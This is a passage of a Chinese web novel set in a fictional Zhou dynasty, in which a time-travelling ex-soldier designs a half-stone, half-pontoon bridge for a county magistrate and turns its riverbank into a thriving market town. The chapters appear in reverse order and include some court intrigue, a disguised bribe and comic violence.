青柠听的远黛微蹙,再次看向纸张上的字迹:“如果这些方法真的能够结束源源不断的战争,让大家都过上安定的生活,家人之间不用生离死别,国家之间不用互相厮杀,那该多好啊……” 凌晨望着青柠如瀑般的乌发,陷入了沉思之中。 青柠没有读过书,也不懂什么天下大势,但她刚才的话很有分量。因为她代表的是芸芸众生、黎民百姓。 她的愿望,就是全天下饱受战乱之苦的百姓们的愿望。自唐末以来经历了将近一个世纪的战乱,各个阶级的人们都迫切的渴求统一,希望能有一个安全稳定的生存环境。 这个时候,谁能发现这一点,并且顺势而为,谁就能在历史上留下浓墨重彩的一笔,开创出一个全新的盛世王朝。 第14章 顺遂 而且,陈啸能不停的为交通事故赔钱,他不能一直找人去挨撞啊! 接下来的几天里,窝在家中的梁宽绞尽脑汁的思考办法,还给自己的姐夫写了信件,看看他能不能想办法让自己多获点利。 结果,他没有等来姐夫的信件,却等来了县尉侯明亲自带人上门。 “我们接到消息,有人检举你家中私藏了弓箭和甲胄。” 在大周,你家里有刀、有枪,甚至后院停着一辆攻城车都不违法。但如果有弓箭这种远程武器,而你又解释不清楚来源的话,恭喜你,可以吃上国家饭了。 如果还有甲胄的话,那可真是太妙了!一顶谋逆的帽子绝对戴的稳稳当当,谁也摘不走。 于是,年少无知的梁老爷就这么一脸懵逼的看着县尉进门,目标十分明确的直奔他家茅房,叫人搬来梯子,从房梁上扯下来两把弓和一套完整的军队制式盔甲。 梁宽知道自己是被陷害的,也大概能猜到是谁陷害自己,所以被押到县衙大堂上时,他一句话都没说。 总不能说“大人,我要告你栽赃陷害我!” 都说同行是冤家,职扬如战扬。梁宽的知县姐夫本就和冯延不怎么对付,现在妻弟还私藏弓箭甲胄,要是冯延真跟他上纲上线,可够他喝上一壶的。 于是他被迫拉下脸亲自来临颍县和冯延交涉,大家也都清楚是怎么回事—— 冯延明白,没有他这个姐夫在背后撑腰,梁宽就算有贼心,怕是也没贼胆和官府正面硬刚。而运昌知县也清楚自己的小舅子是个什么货色,他要是敢造反,恐怕老鼠都敢扛着刀满大街找猫了。 于是两县父母官这么一合计,大家各让一步,点到为止。这扬风波终于平息了下来。 —— 两个月后,桥修好了,并且正式通车运行,当冯延亲自为大桥题名“通曲”后,凌晨的任务就圆满完成了,但事情还没有结束。 冯延按照事先约定好的,把西岸桥头最好的两亩黄金地段按白菜价象征性的卖给了他。凌晨一拿到地契,立刻就请了匠人,沿着河边建起了两层酒楼,起名“水云榭”。 他当然不会炒菜和经营,专业的事得交给专业的人,二婶在做生意方面还是很有一套的,而且性格泼辣、懂得分寸,十分适合做掌柜。凌晨给她一个月三两银子的底薪,外加当月营业额的六分之一做绩效。听完凌晨的条件后,二婶不语,只是一味的把家中衣物往水云榭里搬。 大寒时节,呼出的气都有了形状,可通曲桥两岸却是烟火袅袅,热闹非凡。 行人往来穿梭,船只停靠河岸。街道两旁,挂着鱼灯笼和提灯的货摊前正在讨价还价;豆蔻年纪的女子结伴成双,驻足在胭脂首饰铺里精心挑选;路边空地上许多人围成一圈,正在观看两个卖艺人胸口碎大石,时不时传来喝彩之声;沿河修建的廊亭过道上,几个读书人遥指着雾气弥漫的江面,出口成章。 沿着通往桥头的官道两边,叫卖声此起彼伏、络绎不绝;二楼窗边红袖招展、浅笑遮面,引得旅人心头火起,忍不住进去想要倾诉一番。往石阶上的门里看去,人头攒动,“买定离手”随风飘来,撩拨着客商的心弦,不知道今天手气如何。 出售对联、字画的穷书生、坐在藤框旁的卖炭翁、栩栩如生的糖画人、铺开手工棉衣的妇女,各种各样的人都聚集在这里交易买卖,丝毫没有冬日的冷清。 两边移栽的行道树整齐排列,来年便能翠绿成荫。更远处的草舍私塾里,隐约传来略显稚嫩的朗朗童音。 冯延身着裘衣、手抱暖炉站在水云榭的二楼栏杆边,望着曾经荒无人烟的滩涂地,在数月间变成了繁华市井,不由的感慨万千: “所谓政教清平,大抵便是如此了吧~” 立在一旁的张承和凌晨对视一眼,皆是拱手称道:“全赖大人英明有方。” “呵呵~” 冯延伸出手制止了二人没有营养的马屁,转身走进了摆放着酒菜和暖炉的房中坐了下来。凌晨和张承也赶紧坐在了他的两边。 冯延心情颇好,看着站在门口的刘文越说道:“杨捕头和侯县尉要守着县城,这里的事情就交给你了。凌晨既然向老夫保举你,老夫相信他的眼光,你要恪尽职守,别叫我们失望。” 刘文越立刻跪了下来,双手伏地着叩头说道:“谢老爷抬举,小人必定夙夜巡察、维持秩序,绝不敢负老爷厚望!” 挥手示意刘文越下去后,冯延看着张承问道:“过往船只反应如何?” “虽偶有不满之声,但官府文书已下,他们也不能如何。日子久了,想来也就习惯了。况且这里吃、穿、住、玩一应俱备,除了确有急事的,很少有人上问。” “嗯……这些事你要多留心,若果有急切之事,亦可在桥上稀疏之时偶尔放开,令其先行,不必拘泥。个中尺寸,老夫相信你能把握好。” “是。” “自成以来,进项如何?” 张承低头看着桌子上的酒菜,思索着回答道:“算下来,这个月的各项税收能有个一百三十多两,这还是我们只抽一成的情况下。还有很多地方没有完备,如果都齐全了,估计有望过二百两。” 冯延听罢心中喜悦,激动的举起酒杯就一饮而尽,稍微有点……放浪形骸了。 “行了,你去忙吧。老夫跟凌晨聊聊他的事。” 张承听罢后朝着冯延拱了拱手,又和凌晨互相点头示意后,就起身推开房门出去了,还贴心的把两扇房门给合上。 等到房间里只剩下冯延和凌晨两个人后,知县大人扭过头,目光上下打量着凌晨,脸上的表情透露出满满的欣赏之意,他努了努嘴,竟然不知该从何说起。 倒是凌晨,非常突兀的一把夺过了冯延手中的暖炉。 冯延有些错愕,不理解凌晨的行为,满脸疑惑的问道:“你这是作甚?” 凌晨没有解释,只是双手捧着铜制的暖炉左右打量着问道:“呀!大人,您这手捧炉……是西周的吧?!” 冯延还没明白过来:“啊?” 凌晨欣喜的将暖炉揣进自己怀里,抱着拳向冯延行礼道:“贱内对西周古物颇感兴趣,几乎到了痴迷的程度!如今被我看到,自然是要淘回家去哄她开心的,请恕草民无礼了,大人给也得给,不给也得给。” 冯延惊诧的皱起了眉头,这小子跟自己玩什么抽象呢?什么西周……那是六七天前夫人托家丁送过来的…… “草民知道此物贵重,一时也筹措不齐买资,故而愿以水云榭每月营收的一半分一百期购买,还望大人圆了草民一己之私。” 哎呀!你早说啊! 冯延恍然大悟,连忙露出一副忍痛割爱的表情来:“唉!此物乃是老夫家传之宝,当年武王伐纣,用的正是此炉暖手,不想竟被你瞧出。罢了罢了!君子当趁人之美,老夫便……便舍于你吧!” “谢谢大人!太感谢您了!” 二人沉默片刻,齐齐看向门口,又同时转而看向对方,都忍不住笑了。 “老夫原以为你在军中勇武,是难得的战阵之材,不想竟还有这般化腐朽为神奇的巧思妙技。祈年兄曾对老夫说过,节度使大人对你颇为看重,我观你也不是迂腐之辈,为何……” 一想到文训凌晨就脑壳疼,跟在那老小子身边,不是被追杀就是在被追杀的路上,自己又是科技哥,上不得明面,时间久了迟早会暴露,还不如早早离开。 “大人有所不知,节度使大人位高权重,能侍立左右自然是荣幸。可我性子惫懒,心思马虎,万一出了差错,怕是万死难辞其咎。思来想去,还是不要去承担自己承担不了的重任为好,留给更负责、更合适的人岂不更好?” 冯延摇着头,对凌晨这种逃避的心理很不认同:“此言差矣!你年纪轻,多历练些时日定能胜任。想当初老夫考取功名,刚到任上时也是一窍不通,都是边干边学,才有今日。怎么能因噎废食呢?” 凌晨摇着头讪讪一笑,端起桌子上的白瓷酒杯嘬了一口,并不接话。 冯延横铁不成钢的看了他一眼后,出声道:“明日来县衙报到,侯县尉再有两年便要升调至府城做巡查。你先当个捕头,到时候接替他的位子。” 凌晨闻言刚要摆手,冯延却不给他机会:“休要推辞,否则把老夫的西周暖炉还回来。” “……” —— “呵呵呵呵~” 自家屋子里,凌晨一把将手中的破暖炉扔到桌子上,满脸不情愿的望着青柠抱怨道:“你还笑!老子当初就不该多管闲事,愁死那老登去!我在家坐着老婆孩子热炕头多好,偏偏让我去县衙当个什么捕头。我是那当牛马的人吗?如果不是迫不得已,我连撒尿都不想亲自去!” 青柠听完笑的更大声了,低下头弓着身子,手里的剪刀都拿不稳:“哈哈哈哈……相公你……哈哈哈……” 凌晨越想越气,一把揪住青柠的耳朵将她提了过来,挠着她的腰间软肋,青柠不住的讨饶:“再也不敢了~错了错了!” 直到凌晨发泄完情绪后,才松开青柠,她起身整理好有些散乱的头发,坐到凌晨身边,双手挽住他的胳膊,眼神温柔的打量着着早已焕然一新的家中陈设: “相公是个有本事的,所以知县老爷才会如此器重。以前那个节度使大人不是也很看重你么?既然老爷看得起你,你就好好去干嘛~” 如今的青柠早已不是当初那个举目无亲的孤苦女孩了,富足安闲的生活让她不再辛劳,邻里亲朋的羡慕让她不再自卑,渐渐恢复了该有的笑容和灿烂,连皮肤似乎都白起来了。 只有一点没变,那就是从始至终的温柔。 凌晨摸着青柠的小手,软软的、凉凉的,放到鼻子跟前一闻,还有股淡淡的幽香。 “你擦水粉了?” “嗯,昨个镇子上来了个胡商,我和樱儿去买了点回来,没花多少钱,就十几文。” 凌晨听完后眉头一皱,扭头看着枕在自己肩上的青柠说道:“跟你说了多少遍了,要买就雇个牛车去县城的正规商铺里买,十几文的水粉那是给人擦的?” “味道都差不多,干嘛白花那么多冤枉钱?” “咱家现在又不是买不起,要用就用好的,你不要老买那种劣质水粉,会把皮肤擦坏的。” 青柠将脸蛋贴在凌晨的胳膊上,抚摸着他的手说道:“我也就是不懂这些,插不进姐妹们的议论,才买来擦着试试。我们家的钱都是你辛辛苦苦挣来的,哪里舍得花大价钱买这些虚的。再说了,家从细处有,富是攒下的,怎么能……” 青柠说到一半又停住了,因为凌晨伸出温暖宽大的手掌,搭在她的脸蛋上轻轻抚摸起来。 “你要么就别买,买就买好的,记下没?” “嗯,我记住了。” 凌晨揉了一会青柠的脸后,突然心思一动,虽然正事还不能干,但有些初级步骤,应该也差不多可以尝试了吧…… 他用脸贴着青柠的额,亲密的蹭了蹭,伸出手勾起她的下巴,望着青柠呆呆的双眼,不禁吞了吞口水。 如此暧昧的姿势和氛围,让青柠的双腮瞬间就不受控制的浮现一抹桃红:“相……相公……唔!!” 凌晨低下头,将嘴唇贴在了她的樱桃小嘴上。青柠先是瞪大双眼,身体微微一颤,紧接着娇羞的合上睫毛,两只手紧紧握住凌晨的胳膊。 冰凉、湿润、甘甜~ 自己在外面努力拼搏,挥刀浴血、笑脸逢迎,应对各种人情世故和时不时不知道会从哪冒出来的傻鸟,不就是为了这一口嘛~ 爽~~ 第13章 我们都在用力的活着 由于连年战乱,大周境内许多地区都要快速机动,例如江淮军有时要调往北境,南方吃紧的话,京师禁军也要南下。而临颍县的这座新桥就承担着主路之一的重要作用,一旦建成,比原来要快上足足五个时辰。 除此之外,驿马、邮差、贡车都要从这里经过。可就是这么重要的一项工程,这些官员都敢层层贪污,到冯延手中只剩下不到十分之一。 大周吏治腐败,竟然到了这步田地! 为了尽量减少开支,凌晨选择在里阳村外的一处滩涂地开建,这样就不用拿银子征百姓的耕地了。 其次,将以官府的名义和本县的大户们商议,透露出未来的趋向好处,劝他们自愿投入银子,沿着桥梁两岸修建房舍。包括客栈、茶肆、酒馆、青楼、赌坊,用来留住过往客商。 白烛油灯前,临颍县丞张承皱眉看着凌晨说道:“我们虽处河运道旁,可南有汝南、北有颍川,俱是富足繁华之处,这些客商羁旅从不肯做停留,所以一直未能从中获益……” 凌晨指着图纸对他和冯延说道:“咱们这座桥,两边是不能移动的石建,只有中间由船只锁住,以浮桥向连。可借由两处无法同时行走的缘头,白天只许行人过桥,过往船只必须停靠岸边,等到夜深人静才能通过。如此一来,水路客商就必须在白天停留,陆路行人也必须在夜里停留,还愁没有人吗?” 张承闻言一愣,看向凌晨的眼光都起了变化:这样的话,双亲怎么办? 冯延有些踌躇:“可……万一有人有急事、或者是朝廷有要紧事……” “朝廷的事自然要特殊处置,可其他人嘛……上面给的银钱如此之少,还不能让大人酌情定制?我们既没有贪墨、又没有强制索要过路费,实在等不起那就去别处过呗~谁拦着他们了?” 烛光摇曳,冯延和张承对视一眼,都从对方的眼睛里看到了火热。 如此一来,不仅把桥修成了,还能变着法的弄来丰厚进项,弄得好了,也不失为一件利县利民的政绩! 冯延双目迸发出两道精光,如果有人不满、或者知府大人那边质疑的话…… 那就撂挑子!特么你行你来! “县丞张承,总督建桥具体事务。税课元思源采买墩石木料。户官王阐征调徭役。捕快刘文越统领衙役、皂吏维稳,另聘望云镇乡民凌晨为指导,以为旁监。” 告示一出,整个临颍县都沸腾了! 正所谓流水的营盘铁打的兵,冯延是外地人,被朝廷下放到临颍县做知县。可其他人上到县丞和县尉、下到普通的皂吏更夫,都是本地人,消息就如同风一般吹进了临颍县各大地主老财的耳朵里。 所有人都疯了似的挤往里阳村,五倍价格买地、上田换荒地的事层出不穷。里阳村的村民们人都傻了,有些人立刻就将手中的土地变现,还有些聪明的无论如何都不肯交出赖以生存的土地,还在观望。 所有人都在闹哄哄的往桥梁建址处挤,只有一个人例外。 里阳村的大地主、里正——梁宽。 他还有另外一个身份,隔壁运昌县知县的妻弟。 梁少爷爹死的早,姐嫁的好,年纪轻轻没吃过什么苦,从生下来就在享福。所以养成了纨绔性子,平日里没少霍霍里阳村和临颍县的百姓。 这次他早早的就从姐夫那里知道了朝廷要在他的地盘上修桥的事,本来他对这事并不怎么感冒。可当他看到全县乡绅都跑到自己家来卖地,甚至不惜赔本也要梭哈时,就觉着事情不简单了。 几顿酒喝下来,他对县衙的政策也了解到了三五分。 可他的反应实在异于常人,并没有想着赶紧跟上时代的浪潮飞上云端,而是做了一个凌晨抓破脑袋也想不明白的决定—— 阻挠修建。 里阳村的滩涂地上,太阳穴上插着一朵大红花的梁宽正带着一群手持扁担、锄头、耙子的里阳村民,和张承、凌晨、刘文越率领的保安团、施工队对峙。 “我找风水先生看过了,这片泥地是我们里阳村的文脉!往后我们村的人家里会出很多文曲星,你们在这里修桥,就是在断我们子孙后代的状元路,我们绝不答应!要修,去我们村子的水田里修!” 梁宽义正言辞的说完后,他身后的几十个村民们都义愤填膺的也跟着喊了起来。这怎么行呢?要是真让他们把村子里的文脉挖了,万一自己的孩子考不上状元,做不了大官,那不得亏死。 永远不要低估大周傻逼的数量,很多人只是生活能够自理,并不代表智力正常。当然,也不乏有揣着明白装糊涂的居心叵测之辈。 凌晨拦住欲要呵斥他们的张承,对着这帮村民们喊道:“乡亲们~这座桥是朝廷下令修建的,你们在这里阻挠,是犯王法的,会被抓进大牢!至于说文脉,更是无从谈起,咱们县上次出大官,那都是先唐时候的事了,文脉在哪呢?” 此言一出,那些被鼓动的村民纷纷互相交头接耳起来。 “乡亲们,我来告诉你们是怎么回事,就是他——”凌晨指着梁宽说道: “他不顾你们的死活,哄骗着你们和官府作对,想让我们把桥修到他家地里去,这样他就能赚官府的银子。可官府里的钱本来就紧俏,实在拿不出钱来征地。就算真的修到村子里去,你们又能拿到多少呢?” 村民们表情都怔住了,原来是这么一回事啊! “这……” “对啊,平日里我们就没少被他欺负,这么好的事他会想着我们?” “被这厮给哄了!” “嘘!小声些……” 梁宽咬牙切齿的盯着凌晨,刚想要再次开口鼓动村民,凌晨却不给他机会,继续说道: “我也不跟乡亲们隐瞒了,这座桥是咱们县的大工程,是造福后代的传世之功。往后这里的地价只会越涨越高!你们与其在这里对抗官府,不如赶紧回去筹措银两,把自家院子、田地扩建翻修,往后各地客商来了,也能挣些银钱补贴家用,等日子宽裕了,送后辈自侄去私塾读书,那才真能出文曲星呢!” 村民们听后更是议论纷纷,踌躇不定,站在凌晨身边的刘文越一个健步上前,果断抽出腰间的刀,刀身在太阳底下闪着明晃晃的寒光——“违抗官命者,以造反论处!” 里阳村的普通村民们见捕快都拔刀了,顿时就没了底气。再加上凌晨先前的一番动之以理,纷纷骚动起来。当下就有精明人退至众人身后,趁人不注意一溜烟的跑了。 日子会不会变好咱不知道,但再待下去,估计真要在大牢里和老鼠谈心了! 见有人带头跑了,其他老实巴交的平民们也都不管了,纷纷扭头就撤。没一会就跑的只剩下四五个人,这些人围着梁宽,明显也是心中萌生退意。 梁宽恨恨的看了一眼凌晨和刘文越后,甩着袖子冷哼一声,只得不甘离去。 张承抚着胡须走上前来,站在凌晨身边望着远去的梁宽等人,喃喃说道:“此僚实在可恨!可惜他姐夫是隔壁知县,不好真动他……” 凌晨摇着头感慨道:“人果然挣不到自己认知以外的钱。虽然没有直接在他家地里动工,可距离这么近,他又是里阳村拥地最多的,就是坐在家里一动不动,往后也有大把银子砸到头上。说到底,还是鼠目寸光,贪心不足想要以蛇吞象……” “本官担心他不会就此罢休。” “张大人放心,他要是就此打住,咱们也就权当没有这回事。可要是铁了心和冯大人的前程过不去、和全县士绅的银子过不去,不用我们做什么,自然有人收拾他。” 张承望着梁宽远去的背影,目光微缩,他们张家,也在这项工程中投了银子。 桥梁如期开工,本地士绅或多或少都在两岸附近买了地,大部分都是他们用高到离谱的价格和里阳村的自耕农交易所得,还有不少是开垦了荒地,但这种要给县衙交银子。 村里那些没有地的佃户也没落下,凌晨允许他们来工地干活,并且发放工钱,生活也随之有所改善。 县衙有专业的造桥匠人,这群人按照凌晨的要求在河岸两边同时开造,两条石桥从两边向着中间修去,各修二十多米后就停住了。 中间空着的十几米则是专门找来十条大船,五条现用,另外五条备用。木工船夫们在船顶铺设厚实木板,船只之间用铁链相连,横在两段石桥之间,串联成了一座完整的桥梁。张承派人试了一下,宽度足以同时走三辆牛车,承重也达到了要求。并且随时能和石桥断开,放开水道让过往的船只通过。 就在他们风风火火修建桥梁之际,两岸的木楼瓦肆、砖石街道也在同期进行,沿着岸边拔地而起。这些都是本地财主们自己修建的,那叫一个争奇斗艳、花钱如流水。县衙都没他们有钱,这帮人几乎是把老底都拿出来了。 就在这皆大欢喜、热火朝天的时候,我们的老朋友梁宽,再一次向众人展示了生物的多样性。 事情是这样的,自从上次聚众闹事被凌晨他们赶回去后,这小子肚子里的坏水没处倒,一计不成又生一计。派手下家丁、狗腿子们拦在了村子里的土路旁,说是拉石料和木头的车压坏了村子里的路,影响他们日常出行,所以要收取折旧费。 但这一次他很不幸,遇到了陈啸。 凌晨是个典型的实在人,谁对他好,他就对谁好。自从上次和陈啸不打不相识后,对方就多次登门拜访,手里还从不空着,什么野兽、珍禽、巧物、奇玩换着花样的送。没有别的目的,纯粹就是佩服凌晨差点团灭他们的能力。 所以这次临颍县大开发的时候,凌晨就起了私心,把运输的活交给了他,也算是报答他当初替自己震慑解二的人情。 当负责赶车的手下们跑去告诉陈啸,有人盘腿坐在路当中,不让他们拉料的牛车通过时,陈啸一巴掌就扇在了手下的脑袋上—— “直娘贼!误了凌兄弟的大事,你担当的起?去!放开了胆子过!过去了,出了任何事老子兜着。过不去,你自己去跟凌兄弟交代!” 手下们闻言都是脸色一变,不禁感觉脑袋有点凉飕飕的,还有些隐隐作痛…… 里阳村的土路旁,梁宽坐在藤椅上闭目养神,管家在一旁给他扇着扇子。这位爷也是个人才,竟然专门搭了个棚子坐在这里给官府找不痛快,实在搞不懂他是咋想的。 土路上,几个吊儿郎当的年轻人席地而坐,光着膀子围在一起玩骰子,周围还放着一些铜钱,正赌的不亦乐乎。 突然,道路尽头出现了许多牛车,车上拉着石料、木头、糯米袋子、蒿草等各种建筑材料,正朝着这里赶来。 梁宽斜眼瞥了一下,冷哼一声,继续闭上眼睛躺着了。 这座桥本应该修在他家地里,这样一来他就能从官府拿到不少补偿,而且还能在桥头修上许多房屋瓦舍,日后只要坐着数银子就行了。 可那该死的冯延不知道是不是故意的,竟然修在了村子外的荒地上,让自己白白损失了好多雪花银!既然不让我好过,那就都别过了! 还想顺顺利利的修完? 做梦去吧! “啊——!” “我的腿啊!!” “娘啊!!” 直到几道凄厉的惨叫传入耳中,打乱了梁宽的思绪后,他才睁开眼睛。在明媚的阳光下感觉有些眩目,重新闭上眨了两下后,朝着路面上看去—— 尘土飞扬! 那些运料的牛车一辆接一辆的飞驰而过,架车的汉子挥舞着手中的鞭子,抽的啪啪作响,根本不管路上有什么东西!而他的家丁们则都摔倒滚在路边,抱着腿撕心裂肺的哭喊、满手是血的捂着头粗喘、举着有些变形的胳膊朝着他绝望惨叫…… 数刻钟后,气势汹汹的梁宽让人抬着这些体无完肤、惨叫连连的家丁们来到桥头上,当着上百人的面要求张承主持公道。可当那些十分面生的外地汉子手足无措的开口后,差点又把他气到吐血—— “我没看清楚,还以为是土包呢……” “谁能想到会有人大热天坐在路当中啊……” “我就是个干苦力的,不懂这些,那你跟东家说吧……” “外地人就活该被欺负吗……” “我们都在用力的活着……” 第12章 包工程 修完新宅后的凌晨突然发现自己没事干了,打仗太危险、种地太辛苦,很难想象他在大周居然也会产生就业迷茫。 除了隔三差五的和刘文越…嗷就是那个来抓自己的刘捕快,除了和他还有县衙里的捕快衙役们在城里喝喝酒、吹吹牛逼之外,凌晨每天就是待在家里喝喝茶、钓钓鱼、遛遛马。 自从回来以后,暗淡了刀光剑影,远去了鼓角铮鸣,太平日子过的其实还挺安闲。可也不能一直安闲啊,这都快淡出个鸟来了! 临颍县城也不是没有娱乐项目,青楼是正经生意,赌坊也挺火爆,个个都是人满为患的扬所。可凌晨既不好赌,又怕染上花柳病,只能望门兴叹。以前还能当个宅男,抽着利群在王者峡谷问候傻鸟队友的双亲,现在…… 唉!着实是没有一点意思。 最重要的是,他带回来的退伍费已经花掉了一大半,再不干点啥,就要带着青柠双双返贫了。 “唉!” 一念及此,凌晨就有些惆怅,不禁从座位上站了起来,端着酒杯站在二楼雕窗前,望着楼下街上的熙攘人群,感慨万千。 这让同在雅间喝酒的刘文越和几个捕快齐齐懵逼。 “凌兄如今从军回来,家中资产殷实,尊夫人贤惠体贴,己身又名满乡里,衙中、绿林俱深敬服、多有往来。还有何事值得凌兄长吁短叹?” 凌晨望着起身来到自己旁边的刘文越,摇着头说道:“人生在世,岂有一直顺心从意的时候?想当初我在寿春府和唐军厮杀之时,雨丝映刀光,泥滩陷铁蹄。那时我脑子里只想回家过太平日子。可如今真过上了清闲生活,却又有些怀念那种肾上腺素飙升的感觉了。” 刘文越疑惑的喝了一口杯中酒:“身上……什么?” “嗐!不说这些烦心事了,喝酒喝酒。” 二人碰杯对饮,又双双坐回了座位上。雅间四角的曲架上放着兰菊盆栽,粉紫珠帘遮着月门,胭脂味飘荡在空气中,帘子里面是一位女子,正在素手拨弦。琵琶轻响,檀烟袅袅~ 在这里吃饭不便宜,但是刘文越他们几个吃饭喝酒、听姑娘弹曲儿是不要钱的。至于凌晨……又不是他请客,关他什么事? “莫说是凌兄,知县老爷身份够尊贵了吧?那可是咱们临颖县的天!不也是烦心事一桩接一桩。”另一名姓宋的捕快捞了一筷子竹笋地衣拌的凉菜,丢进嘴里后一边嚼着一边继续说道: “昨个我去正堂回话,老爷和张县丞、还有典史、税课、户官都围着桌子上的一张纸愁眉不展,老爷还气的摔了茶杯,唉!百姓们都觉着老爷威风,可这背后的难处,谁又能看的到呢?” 众人闻言都是默默点头赞同,哪怕是他们这些吃霸王餐的捕快,也有不足为外人道的苦衷。 有些愚民明明犯了王法,却骂他们是官府的走狗;要是碰上拳脚功夫好的练家子、亦或是凶悍残忍的流寇,一个伤残下来,那不就炸了吗?一家子没了生计来源,平时又得罪过不少人,日子能好过?对上要小心侍奉,对下还要顾及人情,难着呢! 刘文越也不禁叹了一口气,他就深有体会。前些日子,县尉大人让他去抓凌晨,他敢不去?发现凌晨惹不起后又拿他来顶包,他敢说一个不字? “来,喝酒喝酒!” “来来来~” 放下酒杯后,凌晨看向那名姓宋的捕快随口问道:“宋大哥,可知老爷为何愁苦?” “好像是知府大人叫咱们县在北边里阳村那儿修一座桥,就在祥符河边。我听税课的老于说,县里的库银撑死只够修一座单洞石拱桥。可祥符河是运河,自汝南到开封、乃至黄河沿岸的客商船只都要行走,所以必须要修成高拱大桥,桥上能跑驿马,桥下还要过双层船。这……这不是让老爷没米煮饭,凭空变花嘛!” 这帮县衙里的小吏,私下也常常讨论职扬里的人和事,十分八卦,同时也消息灵通。 另一名捕快也接上话茬:“哎,我可是听说,上一任秦知县走的时候,不仅没留下什么,还卷走了两千两呢~这库银紧张,怕是和他脱不了干系。” 刘文越轻蔑的说道:“谁说不是呢?咱们老爷也是倒霉,这活还是工部指派下来的,说是拨了五千两银子,可县丞大人实际收到的……啧啧~” 众人见他摇着头止住了话语,纷纷催促道:“说呀!” “实际多少呀?” 刘文越见众人催促,转头看了一眼珠帘后还在拨弄琴弦的姑娘后,神秘兮兮的朝着众人伸出三根手指。 凌晨皱起了眉头:“只剩三千两了?” 刘文越呸了一声,露出了十分鄙夷的表情:“屁!只收到了三百两!上面那帮人是真敢拿啊!” 众人听后无不震惊,就连凌晨也张大了嘴巴。 以前常听人说,哪里出了灾情,朝廷发粮几十万石,自以为做的很好,可实际上到老百姓手里就只剩个谷壳了。他还以为是夸张,现在看来,真是这样啊! 刘文越叹着气,夹了一块肉片放进自己碗里,却并没有吃,而是握着筷子继续说道:“这差事是一定要做的,躲不过去。可银子从哪来呢?老爷纵使内心不想盘剥百姓,怕也不得不……” “哎!” 桌上众人包括凌晨都齐齐伸手制止他继续说下去,刘文越也自知酒多失言,叹息一声,便低头干饭了。 凌晨思索着他们刚才的话,陷入了沉思之中。 钱不够修桥,而桥又必须得修。这种情况下除了想办法把钱凑够之外,就只有在桥上下功夫了。 于是第二天,凌晨就骑着马从家里出发,来到了距离望云镇三十多里外的里阳村附近。 因为地处中原,所以整个颍川府都是一马平川,里阳村也不例外。祥符河像一条丝带,泛着粼粼波光将整齐的麦田桑林一分为二,水面上时不时的有大小船只经过,看起来还是比较繁忙的。 但是里阳村的人却并没有什么商业头脑,如此繁忙的河段,哪怕在岸边摆个炊饼摊也能有不少兼职收入。 或许这就是小农经济的局限性吧。 言归正传。要修桥,当然是在最窄处修才能节省成本,可这条河上这么大的船流量,修的窄了又可能会造成堵塞。 底下要过两层船,桥洞就必须得高起来,这是绕不开的。可无论是修的高还是把两岸垒高,都需要耗费大量的人力、时间和银子。工部拨款和县衙库银如果够的话,冯延也就不会发脾气摔杯子了。 那点钱,估计修一半都够呛。 哎等等…… 修一半……一半…… —— 阳光撒在枝叶泛黄的树梢上,穿堂风轻轻吹过,带着一抹初秋凉意,拂去沉闷的炎热。古色古香的县衙后堂里,冯延身着便服,看起来心事重重、愁眉不展,但还是示意侍女给凌晨上茶。 “大人何故凝眉?可是有什么烦心事?” “哦……一些公务上的琐事,你今日前来,所为何事呀?” 凌晨笑着说道:“上次蒙冤入狱,多亏大人明察秋毫,晚生才能清白做人。今日特地前来叨扰大人,特表谢意。” 冯延抬眉看了看凌晨空荡荡的双手,谢意?谢意在哪? “你本就无罪,老夫自然不会叫小人奸计得逞。” “话虽如此,可要是没有大人,换了其他人就难说了。所以每每想起便心生感激,想着能为大人做些什么。今日又见大人心绪不佳,晚生斗胆请大人说出所为何事,或许晚生能解一二也未可知。” 冯延端起茶杯,拨去浮叶后抿了一口,双目空洞的望着地面说道:“难得你有心,此事……说来也不难,只要银子足够,便不是什么问题。” 紧接着,他就将上面指派本县修桥的事情说了出来,基本和之前刘文越他们说的大差不差。 凌晨听完后在心里偷笑,不过面上还是假装在思索,似乎也被难住了。过了一会后,他起身拱着手问道:“不知……晚生能否察看一下地图和修建的具体位置?” 冯延听后一愣,内心是不想给凌晨看的,那些都是官府文书,凌晨如今只是个平民,凭啥给他看?可又转念一想,这小子是节度使大人比较看重的人,也算是有些背景,生硬拒绝了也不好。 罢了!左不过一张地图,他还能看出花来? 于是他就吩咐下人去衙署拿来图纸,摊在自己的案几上,凌晨起身走上台阶,站在冯延身边望向桌面上的图纸。 “南边这里是本县官道,北边则需要再修一段与东北的官道相连。说起来,除了修桥,还得修一段路呢!如今本县最多只能拿出九百两银子,多的……一文一厘也没有了。这点钱修桥都不够,唉~” 凌晨却没有理会冯延暗戳戳的抱怨,这些话他可以听,但不能跟着说。 仔细察看了地图后,他又翻开一同送来的报价表,石一块长宽多少造价几何、人一天吃用多少、牲畜如何调配、征用田地又该怎么补偿等等等等记得一清二楚。 看完后,凌晨歪嘴一笑,后退一步后对着冯延郑重一礼:“大人,晚生有办法用九百两造出这座桥来,而且,还有可能给县衙添一笔不菲的进项。” 冯延瞪大眼睛斜目看着凌晨,满脸的怀疑和不相信:你不是军中之人么?还懂造桥?而且以目前的情况来看,只用九百两完成任务都是天方夜谭,你刚刚说什么?还能有进项? “你知不知道?此事关乎一县百姓生计,更是朝廷特指要事,老夫的乌纱帽和一家老小,都系在这座桥上。” “知道。” 冯延被凌晨自信的表情弄懵了,不禁有些希冀的再次开口:“你真有办法?” 凌晨笑着说道:“且不提大人于我有恩,我又何必无端赔上脑袋来害大人?我真有办法按要求完成任务,只不过可能和寻常桥梁不太一样,一会我说与大人听,大人再看可不可行。不过在此之前,我还有几个小要求,斗胆想向大人进言。” 见凌晨不是在跟自己开玩笑,冯延也脸色严肃了起来:“若你真能用九百两银子完成上能通马、下能过船,今日所提要求,本官无有不允!” 凌晨兴奋的点了点头,要的就是你这句话! “其一,此事由我全权调配安排,包括人员、银钱、选址在内的一切,除了大人,任何人也不得干扰我。” “可以。” “其二,石桥竣工后,如果能有进项,我要三成。” “若真能转亏为盈,本官可正式立下字据,凡后所得,你与临颍县衙五五平分!” “其三,如果有任何人阻挠、或者变相影响修建的进度,我希望大人能替我做主。” “此事关系重大,无论是谁,敢跟朝廷过不去,本官绝不姑息!” 开玩笑!谁敢跟老夫的前程过不去,都不用凌晨说,老夫单手捏死他! “除此之外,便再没有顾虑的了。” 冯延皱眉望着凌晨:“就这些?” “就这些。”凌晨朝着将信将疑的冯延点了点头。 “行,这三点要求本官都答应,现在,能跟老夫说说你的想法了么?” 